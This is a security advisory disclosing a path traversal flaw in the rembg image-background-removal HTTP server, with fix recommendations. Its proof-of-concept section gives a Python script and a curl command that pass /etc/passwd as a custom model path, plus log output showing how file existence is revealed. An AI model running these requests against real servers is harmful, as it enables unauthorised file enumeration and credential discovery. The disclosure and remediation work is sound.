Rembg has a Path Traversal via Custom Model Loading

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

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Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

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PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

Server Log Message	What It Proves
Load model from /etc/passwd failed:Protobuf parsing failed	✅ File exists and was read by onnxruntime
Load model from /etc/shadow failed:Permission denied	✅ File exists but process lacks permission
Load model from /nonexistent/... failed. File doesn't exist	✅ File does not exist - enables enumeration

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

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Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

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Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

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References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

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